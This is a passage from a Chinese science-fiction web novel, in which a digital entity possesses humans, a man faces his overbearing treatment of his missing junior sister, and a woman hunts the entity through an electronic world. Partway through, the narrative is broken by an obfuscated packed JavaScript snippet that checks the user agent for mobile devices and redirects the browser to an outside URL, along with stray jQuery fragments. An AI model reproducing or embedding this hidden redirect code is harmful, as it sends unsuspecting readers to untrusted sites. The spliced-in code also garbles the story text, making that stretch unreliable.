想到这,彻听将摩天轮地区的电源关闭,忍不住哼起了小曲。
对方能够感觉到神的位置,十有八九是因为步眠长期开关灯而导致的灯光闪烁,才会暴露,否则把人放在永远大亮的灯光中,也不会找到的。
如果把这个光源关掉的话,对方就没有办法捕捉到神的位置了。
做完这些事情之后,彻听为自己寻找到了一件更有乐趣的事情——通过那些被植入电虫的人,去看那些人的视角,看看那些人什么时候才可以走进大门。
那些人进门的权限从没有被撤销过,毕竟是之后要用到的,不撤销会更方便一些。
老实说,它不太习惯从人的视角去看,他们拥有了实体,包裹着它们的源数据,也就是骨骼,做了一身不那么坚硬的保护套。
但依旧脆弱。
更别说人类还乐忠于科技革命,制造出一批又一批的机械产品,导致人类的躯壳看起来更加脆弱起来。
怎么回事?为什么感觉有些难受。
刚操纵人类身躯的彻听有些难受的扯了扯自己的手臂,像是失去了力气一样,格外的软绵绵。
怎么回事,刚刚不还是这样的吗?
它的动静太大了,引起了另外几个人的关注。
电虫并不是虫,而是在光脑世界待久了之后,被洗脑后完全归属于咎谣的一种被复刻的思想数据,而这些不同的数据也就会塑造成不同的人,形成两个完全不一样的人格。
至少在那些人看起来,他们依旧是人,是自己。
“你怎么回事?”有人摸上了它的脑袋,彻听迷迷糊糊的,只能瞪着眼。
“我知道我知道,他这是岔气了,我小时候从高一点的地方跳下来,也是这样,感受不到空气呼吸不上来也说不了话,让我来让我来。”
一个穿的西装革履的男人上前,露出了自己有些白的脸,然后抬起手。
彻听下意识的抬起手臂,对方的手并没有落在别的地方造成疼痛,而是很轻的拍在了彻听的后背上。
“怎么样?好多了吗,如果好多了的话,我们就要给神除掉那些臭虫了!”
那人脸上带着笑,彻听摸了摸自己的脖颈,气流顺着气管进入的时候,他感受到了肺部的张大,因为不习惯,下意识的止住了呼吸。
原来是因为,自己忘记呼吸了吗?
它摇摇头,目光直直的看着楼顶,“我没事,大家不用担心,现在我们上去吧。”
想到管理局背叛自己的女人,和那个引来事端发现电虫的两个员工,彻听低低的笑了笑,身躯感到了前所未有的兴奋。
治安局。
“你说什么?任春失踪了?”广泰平拿着营养液的手微微发抖,挤出了一个比哭还难看的笑容,“别开玩笑了姐姐,来,把身体让开,真的是啊,我师妹就是爱胡闹,你们这些人怎么也跟着她胡闹?”
人在听到自己不愿意听到的消息时,总是会下意识的否定。
比如面前的广泰平,他瞳孔颤抖,甚至因为得不到回答,慢慢的肩膀、小腿、笑容以及视线,都开始颤抖起来,“医生,我只有这一个师妹啊。”
窗外的灯光不知何时暗了下来,他茫然的去看,才发现那是摩天轮的光亮熄灭了。
不只是摩天轮,几乎是那一片区域的灯光都暗淡了下来。
他脑海中想起了什么不太好的猜想,“是不是那些人来了?你们的监控有没有变成雪花屏,能不能去看附近的监控,她去了哪里?我知道了,是哪些人,一定是那些人,是吗?”
女人的表情歉意,“很抱歉先生,在监控中,您的师妹,是自己离开的。”
“自己离开?不可能,她连营养液都需要消毒后才能正常进食,离开我们她怎么生活?她刚刚还受到了那么大的刺激……”
“先生。”女人有些迟疑地打断了对方,“虽然我不太了解您的师妹,但是在我看来,她是一个拥有自主能力的成年人,可以自己给营养液进行消毒,对于我们十分的有礼貌……”
“而您的形容,不像是在形容一个正常的成年人,反倒像是再说一个四肢残疾需要被拖过去销毁、不能够走出培育所的胚胎,您是否,对您的妹妹要求太过苛刻,甚至觉得,您的保护欲太强,让她有些窒息吗?”
广泰平原本紧张的脸顿时顿住了,那一瞬间,他想到了很多片段的聊天。
“谢谢你师兄,但是我不需要这些东西。”
“师兄,我一个人也可以处理好的。”
“我知道师兄是为了我考虑,但是我想问师兄,我的人生,是我自己的吗?我为什么不可以为我自己做出选择?”
“师兄,我和你说过的,我不喜欢听人诉苦,我的生活已经很累了,好歹,尊重下我啊……”
“我胡言乱语的,替我谢谢师父。”
女孩的表情仿佛还在自己的眼前,被话语刺伤,看着广泰平的眼神,还是选择了吞下这些话语。
“谢谢师兄。”
“我知道师兄和师父是为了我好,只是……我并不认为,我什么都做不到,我想要一点空间,哪怕是一点点。”
可现在那人已经消失在了病床上,对于广泰平来说,师父带回来的师妹,是自己唯一的珍宝,是自己要好好守护的人。
她太容易碎裂了,像是苹果,一见到空气就会发生反应。
而广泰平是怎么做的呢?他拒绝听取任春的话语,把自己以为最好的东西给予对方,从来不问任春到底需不需要这些东西,只是一味的给予。
在任春提出自己要调查那些事情的时候,他在空闲的时间里请假,去往了居民会巡逻,在本不应该是自己执勤的情况下,猜到步眠可能不会那么容易善罢甘休,更换了好几天的检查监控。
他做出了自己可以做出的所有事情,所有人都说,任春被他们照顾的很好,离开自己,她大概会很苦恼。
广泰平当然自己也这么认为。
师父却不认同,她说:“你以后少帮一些任春,她年纪不小了,有些事情可以自己做好。”
他忘了,那人不会好好说话,而鲜少关注案件外的师父也看出来了,任春比别人活的更艰难一些,她却从来不觉得,自己是一个累赘。
是自己把那些东西强加给任春。
换言之,他是真的觉得任春应该被自己照顾吗?
当然不,他既不是任春的监护人也没有血缘关系,他享受被关注被注视被夸赞,即使那些关注需要踩在另一个人自卑的点上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346439|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他从来没有了解过任春,更没有将对方当做一个完整的人格。
“很抱歉,我并不明白你们之间的恩怨,我只是提出,我自己认为的一些东西。”女人微微低头,表情歉意,“您和您妹妹如何相处,不是我该关心的问题,她既然没有被拖过去销毁,那就证明,她拥有存在的价值,十三区认可她的存在,我需要给别的病人换药了。”
“不过。”女人明明已经走远,却还是回头,“出于我自己的私心,您妹妹是自己离开的,请您不要去找她,当然,您也可以投诉我,监控室就在那里,您也可以去查您妹妹的踪迹,如果您真的尊重她。”
“……我知道了。”广泰平深吸了口气,也许是那些话语太过犀利,让他的面容肉眼变得苍白起来,整个人都摇摇欲坠的。
他捏了捏自己的眉心,笑的有些勉强,“你说得对,我的妹妹有手有脚,不该被我管辖,她有自己的人生。”
任春是任春,她不该是被禁锢在笼子中的鸟。
“谢谢您,我知道了。”
广泰平对着女人深深的鞠了一躬,她怔愣的看着他,揉了揉自己的手臂,低声道:“这人还真是奇怪。”
一个成年人看护那么紧做什么,在这个遍地都是监控的时代,难不成还会跑了不成?
电子世界。
那股冲击力来的莫名其妙,像是刻意阻止她靠近一样,原本闪烁的灯光消灭下来,她微微抬头,在四周黑暗的环境中缓慢的游走着。
她胸腔中的心脏越来越暗淡了,似乎正在慢慢的和它进行同化。
“想隐藏自己吗……”真可惜,她对于方向感最为敏感,梵印之间互相吸引,像是好战的家伙恨不得将对方拆解入腹。
有些人即使费尽心思隐藏自己的踪迹,也难免会被一些依赖的东西出卖。
对于梵印来说,一山不容二虎才是常态,没有谁会选择主动的隐藏自己。
即使是对于看似温和的治愈系梵印,逼急了可是会复苏一些奇怪的东西。
穿过重重阻碍,缠绕的电缆越来越密,密的几乎像是一堵墙,兰微渺嘴角带着笑,毫不犹豫的往更加稀疏的地方而去。
障眼法罢了,上不得台面的东西。
彻听虽然关闭了摩天轮的灯光,但兰微渺记得,光脑的灯光在什么地方,自己应该去往什么地方。
它错就错在,如果它足够的谨慎,应该选择将公司的灯光一起关闭,而不是保留其中,给她留下了坐标点。
如果这是在现实世界,兰微渺大概会感受到,空气渐渐地稀薄起来,在这里,只感觉到了压力,
电子世界对重量的感知变得困难,身体不再会具有疼痛,而唯一代表生命的只有身上环绕的电子灯光,身上的光线变得愈来愈微弱。
四周的推力哗啦啦的来,兰微渺分不清这本来自前方左方还是哪里,但是唯一可以确定的是,里面的人在阻止她的前进。
面前层层围绕的墙壁里居住的不是咎谣,他反其道而行之,将自己的藏身起来,如果是别人,大概会被骗过去。
身后无声地出现了不少电子人,它们似乎也不知道自己为什么会在这里,茫然的看着四周越来越多的同类,下意识将兰微渺环绕起来。